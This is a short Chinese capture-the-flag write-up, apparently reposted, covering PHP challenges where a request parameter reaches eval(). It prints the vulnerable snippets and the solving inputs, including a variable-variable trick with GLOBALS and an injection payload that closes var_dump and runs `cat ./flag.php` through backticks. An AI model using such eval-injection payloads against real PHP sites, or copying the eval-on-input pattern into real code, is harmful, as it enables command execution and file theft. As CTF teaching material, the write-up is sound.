CTF之文件包含的猥琐思路


From: i春秋 百度杯”CTF

一:

<?php include "flag.php"; //包含flag.php这个文件 
$a = @$_REQUEST['hello']; //$a这个变量请求变量hello的值 
if(!preg_match('/^\w*$/',$a )){ //正则表达式,匹配字符串,\w表示字符+数字+下划线,*代表有若干个\w字符组成。 
  die('ERROR');//不匹配则输出ERROR } 
  eval("var_dump($$a);"); //如果匹配输出\$\$a的值 
  show_source(__FILE__);
 ?>

PHP一个比较有意思的变量!$GLOBALS:一个包含了全部变量的全局组合数组。变量的名字就是数组的键。于是我们在url上构造/?hello=GLOBALS,结果就直接出来了!根本不是爆破好吧!

答案:/?hello=GLOBALS

二:

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

反引号位 (`) 是可以执行命令的

答案:?hello=);echo%20`cat%20./flag.php`;//

三:

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?> 

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM